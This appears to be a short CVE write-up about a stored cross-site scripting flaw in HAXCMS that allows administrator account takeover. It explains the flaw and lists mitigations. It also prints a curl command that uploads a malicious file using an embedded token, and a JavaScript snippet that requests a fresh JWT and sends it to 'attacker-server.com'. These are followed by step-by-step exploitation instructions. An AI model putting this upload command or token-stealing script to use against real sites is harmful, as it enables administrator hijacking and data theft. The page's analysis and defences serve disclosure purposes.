Listen to this Post
How the Mentioned Vulnerability Works
The vulnerability is a Stored Cross-Site Scripting (XSS) in HAXCMS that enables full account takeover. An attacker exploits an insecure file upload feature to save an HTML file containing malicious JavaScript onto the server. When a logged-in administrator visits the URL of this uploaded file, the script executes in their browser context. The JavaScript makes an authenticated POST request to the `/system/api/refreshAccessToken` endpoint. The browser automatically attaches the valid `haxcms_refresh_token` session cookie to this request. The server, trusting the refresh token, issues a new JSON Web Token (JWT) access token in the response. The malicious script captures this JWT and exfiltrates it to an attacker-controlled server. The attacker then uses the stolen JWT to impersonate the administrator and gain full control of the CMS application.
dailycve form
Platform: HAXCMS
Version: Unspecified
Vulnerability: Stored XSS
Severity: Critical
date: 2026-01-14
Prediction: 2026-02-15
What Undercode Say
Analytics
curl -X POST "http://192.168.1.72:8080/system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M" -H "Content-Type: multipart/form-data; boundary=-WebKitFormBoundary7MA4YWxkTrZu0gW" --data-binary @malicious_payload.txt
fetch('/system/api/refreshAccessToken', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}'})
.then(response => response.json())
.then(data => { fetch('https://attacker-server.com/log?jwt=' + data.jwt); });
How Exploit
1. Upload malicious HTML file.
2. Lure admin to visit it.
3. Script auto-executes in admin context.
4. Steal new JWT access token.
5. Exfiltrate token to attacker server.
6. Hijack admin account with JWT.
Protection from this CVE
1. Strict file upload validation.
2. Implement Content Security Policy (CSP).
3. Use HttpOnly and Secure cookie flags.
4. Require CSRF tokens for state-changing endpoints.
5. Regular security audits and patching.
Impact
Full administrator account compromise leading to complete application control, data theft, and further system exploitation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
